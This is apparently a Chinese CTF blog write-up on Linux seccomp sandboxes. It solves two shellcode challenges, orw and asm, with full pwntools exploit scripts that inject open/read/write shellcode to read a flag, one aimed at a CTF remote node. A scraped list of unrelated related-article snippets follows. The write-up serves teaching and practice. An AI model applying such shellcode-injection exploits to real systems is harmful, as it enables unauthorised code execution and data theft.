pwn 之 沙箱机制
0x00: 简介
沙箱机制,英文sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
安全计算模式seccomp(Secure Computing Mode)在Linux2.6.10之后引入到kernel的特性,可用其实现一个沙箱环境。使用seccomp模式可以定义系统调用白名单和黑名单。seccomp机制用于限制应用程序可以使用的系统调用,增加系统的安全性。
在ctf中主要通过两种方式实现沙箱机制:
- prctl系统调用;
- seccomp库函数;
0x01: 函数限制检测工具seccomp-tools
安装:
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用:
0x02: 例题实践
Pwnable_orw:
通过checksec可以看出其架构,远程的也是这个。
如果使用shellcraft、asm模块,要配置相对应的架构,可以通过context.binary = "./xxx"自动地完成配置。

用seccomp-tools dump ./orw检查受限函数:
允许的函数主要有open、read、write系统调用函数,用这个函数读取flag。

用32位的IDA打开进行分析:

没有数据段不可执行保护,所以直接往bss里面写shellcode就可以了。通过shellcode写入后,后面第6行就进行执行了。
Exp:
from pwn import *
context.log_level = "debug"
context.binary = "./orw" io = process("./orw")
#io = remote("node4.buuoj.cn",27178)
bss = 0x804A060 payload = shellcraft.open("flag")
payload += shellcraft.read(3,bss + 100, 100)
payload += shellcraft.write(1,bss + 100, 100)
io.recvuntil("Give my your shellcode:")
io.sendline(asm(payload))
print(io.recv())
Pwnable_asm:
先用checksec工具检查架构和其保护机制,然后使用seccomp-tools工具检查受限制函数(这步是在打开IDA后,看到sandbox函数后进行的)。

从图可以看出,仅被允许的系统调用有:read()、write()、open()和exit()。(这个在IDA的注释里面也有说明~)
用64位IDA打开分析程序:

函数分析:
- 12行用mmap映射了一段0x1000B大小的匿名空间,起始地址为s = 0x41414000;
- 13行将开辟的空间用144进行初始化,144是啥?0x90。根据注释说是用shellcode解法,应该是制作了nop滑梯。
- 15行将stub数组赋给了匿名空间前段,stud是啥?由于ida中该数组的值显示有点零散,所以我就在pwnable网站查看了源代码:stud[46] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48",反汇编:(其实就是清空寄存器,好像不影响写入shellcode)

- 17行接着向后面输入数据,关键点:写入我们想要shellcode进行执行。
- 19行chroot(directory):将该进程的根目录改为directory。可以防止我们找不到远程中的路径,我们直接open("./flag")就行。
- 20行sandbox开沙箱机制嘛~
- 21行应该是ida分析有误,源代码是没有参数的:((void (*)(void))s)();就是从s那里开始执行。
分析完程序,已经很明显了,和上一题一样。通过17行写入shellcode,然后21行会进行执行。
Exp: from pwn import *
context.log_level = 'debug'
context.binary = './asm' #io = process("./asm")
io = remote("node4.buuoj.cn",26533) addr = 0x41414000 + 0x100
payload = shellcraft.open("flag")
payload += shellcraft.read(3, addr, 0x30)
payload += shellcraft.write(1,addr, 0x30) io.recvuntil("give me your x64 shellcode: ")
io.sendline(asm(payload))
print(io.recv())
0x03: 最后
初步接触,有些地方没思考得太透。所以,有疑惑的朋友可以在评论区提出,互相交流学习。
tolele
2022-04-25
pwn 之 沙箱机制的更多相关文章
- 沙箱机制(Sandboxie)
一.沙箱是什么? 沙箱是一个虚拟系统程序,沙箱提供的环境相对于每一个运行的程序都是独立的,而且不会对现有的系统产生影响. 二.沙箱的应用 (1)搭建测试环境.沙箱的应用只能访问自己的应用访问目录,而不 ...
- java中的安全模型(沙箱机制)
java中的安全模型(沙箱机制) java安全沙箱(一)之ClassLoader双亲委派机制 java安全沙箱(二)之.class文件检验器 java安全沙箱(三)之内置于Java虚拟机(及语言)的安 ...
- 对java沙箱机制的一点了解
1. 引入 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取,删除一些文件或者网络操作等.当你把程序部署到正式的服务器上,系统管理员要为服务器的安全承担责任, ...
- K:java中的安全模型(沙箱机制)
本博文整合自:Java安全--理解Java沙箱.Java 安全模型介绍.Java的沙箱机制原理入门 相关介绍: 我们都知道,程序员编写一个Java程序,默认的情况下可以访问该机器的任意资源,比如读取 ...
- NSFileHandle 、 沙箱机制 、 属性列表
1 使用NSFilehandle进行数据读写 1.1 问题 NSFileManager用于实现对文件的操作,而NSFileHandle是IOS提供的对文件内容(二进制数据)进行操作的类,例如数据的读写 ...
- java沙箱机制原理
参考文档如下: http://www.2cto.com/kf/201012/79578.html
- java安全沙箱(一)之ClassLoader双亲委派机制
java是一种类型安全的语言,它有四类称为安全沙箱机制的安全机制来保证语言的安全性,这四类安全沙箱分别是: 类加载体系 .class文件检验器 内置于Java虚拟机(及语言)的安全特性 安全管理器及J ...
- JVM探究(一)谈谈双亲委派机制和沙箱安全机制
JVM探究 请你谈谈你对JVM的理解?java8虚拟机和之前的变化gengxin? 什么是OOM,什么是栈溢出StackOverFlowError JVM的常用调优参数有哪些? 内存快转如何抓取,怎么 ...
- [BUUCTF]PWN——[V&N2020 公开赛]warmup
[V&N2020 公开赛]warmup 附件 步骤: 例行检查,64位程序,除了canary,其他保护都开 本地运行一下,看看大概的情况 64位ida载入,从main函数开始看程序 看到程序将 ...
随机推荐
- automake的使用2
前言 如果你的入口文件main.c和依赖的文件不是在同一个目录中的,使用Autotools来管理项目的时候会稍微复杂一下. 在不同的目录下,项目会生成*.a文件的静态连接(静态连接相当于将多个.o目标 ...
- vue渐进式?
小到可以只使用核心功能,比如单文件组件作为一部分嵌入:大到使用整个工程,vue init webpack my-project来构建项目:VUE的核心库及其生态系统也可以满足你的各式需求(core+v ...
- 为什么Java不支持运算符重载?
另一个类似棘手的Java问题.为什么 C++ 支持运算符重载而 Java 不支持? 有人可能会说+运算符在 Java 中已被重载用于字符串连接,不要被这些论据所欺骗.与 C++ 不同,Java 不支持 ...
- java-設計模式-工場方法
工廠方法: 一种创建型设计模式, 其在父类中提供一个创建对象的方法, 允许子类决定实例化对象的类型. 定义一个创建产品对象的工厂接口,将产品对象的实际创建工作推迟到具体子工厂类当中. 这满足创建型 ...
- SpringBoot打包成可执行的Jar文件
需要时SpringBoot项目 通过创建可以在生产环境中运行的完全独立的可执行jar文件来结束示例.可执行jar(有时称为"胖jar")是包含您的已编译类以及代码需要运行的所有ja ...
- SqlMapConfig.xml文件详解
SqlMapConfig.xml 是 mybatis 的全局配置文件,配置内容如下: properties(属性) settings(全局配置参数) typeAliases(类型别名) typeHan ...
- synchronize、Lock、ReenTrantLock 的区别
synchronize 和Lock: 1.synchronize 系java 内置关键字:而Lock 是一个类 2.synchronize 可以作用于变量.方法.代码块:而Lock 是显式地指定开始和 ...
- idea常见设置一
1.顶部执行栏调整 原: 设置:勾选view==>toolbar 后: 这个一看其实没有什么太大的作用,但是你看这个按钮 这个按钮就是File==>Settings,这样会稍微方便点,只要 ...
- 集合流之“将List<Integer>转为String并用逗号分割”
1.使用[流+Collectors]转换 import java.util.ArrayList; import java.util.List; import java.util.stream.Coll ...
- idea问题之"一个或多个listeners启动失败问题"
org.apache.catalina.core.StandardContext.startInternal 一个或多个listeners启动失败,更多详细信息查看对应的容器日志文件之 "A ...
